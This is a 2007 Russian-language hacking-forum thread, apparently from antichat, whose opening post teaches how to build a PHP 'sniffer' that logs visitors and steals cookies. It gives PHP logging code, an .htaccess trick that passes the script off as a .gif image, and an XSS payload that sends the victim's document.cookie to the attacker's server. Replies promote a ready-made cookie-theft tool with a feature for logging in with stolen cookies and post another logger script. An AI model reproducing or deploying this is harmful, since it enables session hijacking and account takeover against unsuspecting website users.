PDA

Просмотр полной версии : Пишем свой Php сниффер


inlanger
11.09.2007, 00:14
Многие, скорее всего, пользовались ачатовским сниффером. Многие знали как он работает, многие даже не догадывались. Вот для вторых и предназначена эта статья. В этой статье гуру ачата и профи программеры ничего нового для себя не найдут.
Итак, начнём. Для начала теория. Что такое сниффер?
Цитата из википедии
Анализатор трафика, или снифер (от англ. to sniff — нюхать) — сетевой анализатор трафика, программа или программно-аппаратное устройство, предназначенное для перехвата и последующего анализа, либо только анализа сетевого трафика, предназначенного для других узлов.
Мы будем писать скрипт, который позволяет получать какие-то сведения о тех, кто заходит к вам на страницу.
Какие сведения можно получать сниффером? Да почти любые, начиная от IP адреса жертвы, заканчивая coockies.
Зачем это надо? Если у вас возник такой вопрос, то эта статья, скорее всего, вам не пригодиться. Итак, поехали...
Что нам надо для создания собственного сниффера?

мозг и ровные руки
хостинг с поддержкой PHP


Для начала повторюсь. Задачей нашего сниффера будет сбор информации о жертве, зашедшей на наш сайт и сохранение этой информации в файле.
Создаём 2 файла - sniff.php и log.txt
Заполняем файл sniff.php. Для понимая того, что мы делаем, мы будем сейчас работать со стандартными переменнымы.

Переменная file будет хранить название и путь к файлу log.txt, нашему файлу с результатами:
$file=”log.txt”;
Теперь объявим переменные, в которых будет хранится информация о дате и времени посещения страницы.

$data=date("D.M.Y"); //в скобках прописан формат отображения даты D - день недели, M - месяц Y - год.
$time=date("h:i"); //в скобках прописан формат отображения времени h - часы, i - минуты

Теперь нам нужно собрать инфрмацию о посетителе. Что может лучше описать посетителя, чем его IP адресс и информация о системе?

$ip=trim($_SERVER['REMOTE_ADDR']);
$sysinfo=trim($_SERVER['HTTP_USER_AGENT']);
// это стандартные переменные, которые автоматом принимает сервер


Теперь пишем основной код

if(is_file($file)){ //Проверяем наличие файла и возможность работы с ним
$fo=fopen($file,"a"); //Открываем файл на запись в конец
$res="$data | $time | $ip | $sysinfo \n"; //Формируем строку с информацией от жертвы
//в формате дата|время|ip-адрес|характеристика системы
//переход на следующую строку n
$fw=fwrite($fo,$res); //Записываем в файл
fclose($fo); //Закрываем файл
}

Сниффер готов. Заливаем его на любой хост с PHP и проверяем его работу. Заходим на страницу sniff.php и видим белый экран без ошибок - значит всё сделали правильно. Теперь смотрим содержимое файла log.txt. Оно должно быть примерно следующего содержания:
10.09.2007 | 22:45 | 127.0.0.1 | Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6


Что теперь с ним делать? Да ничего почти. Для серьёзных вещей он не подходит. Для серьёзных и интересных вещей нам нужно уметь пользоваться куками. Что такое cookies?
HTTP-Cookies или Куки (от англ. cookies — домашнее печенье), иногда используется сленговый синоним — «плюшки». — служебная информации, посылаемая веб-сервером на компьютер пользователя, для сохранения в браузере. Применяется для сохранения данных, специфичных для данного пользователя, и используемых веб-сервером для различных целей, в числе которых:

* в системах с удаленным доступом — пароль, порождаемый сервером при первом подключении и отсылаемый пользователю; при последующих подключениях пользователь должен предоставлять серверу этот пароль
* отслеживание состояния сессии


Так что всё в ваших руках... Юзаем свой мозг и гугль, совершенствуемся...

Для тех, кому лень это делать продолжаю статью.
Для того, чтобы украсть чужие куки нам нелбходимо:

всё, что нужно было для создания простого сниффера


Для начала создадим картинку, размером 1х1 пиксель(для примера). Далее, в файл sniff.php добавляем переменную
$query=trim($HTTP_GET_VARS['cook']);
Не забываем добавить эту переменную на запись в файл
$res="$data | $time | $ip | $sysinfo \n $query \n"; //Формируем строку с информацией от жертвы
Так же отображаем нашу 1х1 картинку:
Header("Content-type: image/png");
$im = ImageCreateFromGif("путь_к_вашей_картинке");
ImageGif($im);
ImageDestroy($im);

Переименовываем наш sniff.php в sniff.gif и создаём на серваке файл .htaccess со следующем текстом:
AddType application/x-httpd-php .gif
Теперь пишем скрипт, который будет находиться на сайте жертвы, и передавать нам с него все куки:
<script>img = new Image(); img.src = "http://путь_к_вашему_снифферу/sniff.gif?cook='+document.cookie;</script>
В этом скрипте мы получаем куки и отправляем их нашему скрипту в переменной cook.
Проверяем работу скрипта. Писал без кофе и пива, так что мог что-то забыть. Почитаю коментарии и доделаю статью с утра. Всем спасибо.

Xex
11.09.2007, 02:55
а модераторы сего раздела в отпуске или "пишут свой сниффер?".
---Модераторы смотрят отзывы. И твой в том числе. Что то я конструктивной критики лично в твоем посте не наблюдаю. Посмотрим что еще скажут люди.
Alexsize
+ 5 Alexsize
-=lebed=-

Ponchik
11.09.2007, 15:08
я видел,что там их полно. но нет ни одного описания как они работают.
Хочешь сказать у тебя есть описание как они работают? По программной части может и есть, а вот как происходит передача кук из твоего поста я например непонял... Он перехватывает куки, как?! Нет объяснения, что при загрузке скрипта браузером с нашего сервера где сниффер, грузится картинка с параметрами кукисов, которые получаются из функции жаваскрипта document.cookie и т.д. и т.п. и поехали дальше... :rolleyes:

TANZWUT
11.09.2007, 17:35
омг, очередной пятиколёсный велосипед =\

сниф каника рулит, как ни крути!!! - http://kanick.ru/sniffer/

описалово:
Вот краткий обзор функционала сниффера:

* красивый, интуитивно понятный интерфейс, в котором всё учтено
* поддержка всех известных браузеров
* система фильтров, позволяющая отбирать из лога только нужные записи
* фильтрация запросов (еще до попадения в лог)
* функция “Волшебная палочка”, позволяющая быстро заходить на сайт с украденными cookies
* удаление отмеченных записей
* помечание новых записей
* возможность авторизованного доступа
* отправка оповещений на e-mail, ICQ — new!
* поддержка различных стилей оформления (4 стиля в комплекте)
* совместимость с предыдущими версиями (достаточно перенести файл data.txt)
* экспорт (сохранение) данных — new!
* подробный FAQ

…и многое другое.



я видел,что там их полно. но нет ни одного описания как они работают.


+ http://old.antichat.ru/sniff/

ещё можно почитать:
http://old.antichat.ru/txt/old/cookie.shtml
http://old.antichat.ru/crackchat/HTML/
и
http://old.antichat.ru/txt/utf7/

grinay
11.09.2007, 17:42
Не ф тему просто так получилось)Щас поднимаю веб сервак и скачиваю все нужные мне дистрибитивы.Так вот к чему пишу то ,все уже в курсе что четвертая ветка умерает в конце этого года и официально поддерживаться больше не будет))

SSSetuPPP
16.10.2007, 04:27
Делал всё как ты писал! - Чё-то вообще ничего не работает..:(
Скачал "php Based Sniffer [phpBS] v2.xx © Kanick 2005 Модифицирован АНТИЧАТ.РУ" - Всё в норме... Не могу разобраться почему?:(

bul.666
16.10.2007, 05:21
Поиск по сайту не дал подробного описания снифферов. Вот и написал...
как отдельной статьи нет... Но в других темах дохуя мануалов по написанию сниффера...

SSSetuPPP
16.10.2007, 05:42
http://video.antichat.ru/file232.html
"Я нашол в течене 30 минут"
А как искать xss? Та, которая на видео больше не пашет...:(

heks
21.10.2007, 23:06
лол чувак этих статей по нету целая куча можно просто взять какой нить готовый снифер и вписать туда немногго своих функции и сделать интерфейс покасивее

heks
21.10.2007, 23:11
да и еще одно ты быхоть когда статью писал изменил бы немногоскрипт
$res="$data | $time | $ip | $sysinfo \n $query \n"; // а то вот это уж больно знакомое
копираиты лучше дай

Isis
22.10.2007, 09:44
heks, такую строку нереально написать самому? =\

heks
22.10.2007, 11:26
почему реально просто вт такой же последовательности думаю это уже что то не то
а статью про снифер это просто глупо можно как я уже писал выше скачать готовый а изобретать велосипед не надо !!

XHTTP
12.11.2007, 03:05
Оффтопs

Свой вариант снифера:
<?
Error_Reporting(E_ALL & ~E_NOTICE);
$dt=date('Y-m-d [H:i:s]');
$fp=fopen('log.txt', a) ;
$log = $_SERVER['REMOTE_ADDR']."". $data. "<br>Дата :: "."". $dt."<br>Софт :: ". getenv("HTTP_USER_AGENT").".<p><hr></p>";
fwrite($fp, $log);
?>
Скрипт сам создаёт файл лога или вписывает в существующий. Далие инклудится в log.php и просматриваем лог как удобный html документ в виде списка).

Уже год сидит и трудится на холме.ру :rolleyes:

просто для разницы результата, без подвохов:
10.09.2007 | 22:45 | 127.0.0.1 | Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6
85.143.2.99
Дата :: 2007-10-23 [21:57:58]
Софт :: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2).

2heks, "велосипеды" бывают разных видов...)

Ksif
20.12.2007, 00:00
2 XHTTP:
У меня твой сниффер всё время один и тот же ip даёт: 127.0.0.1

Тема Closed, ввиду очевидности изложенной информации по сабжу.
-=lebed=-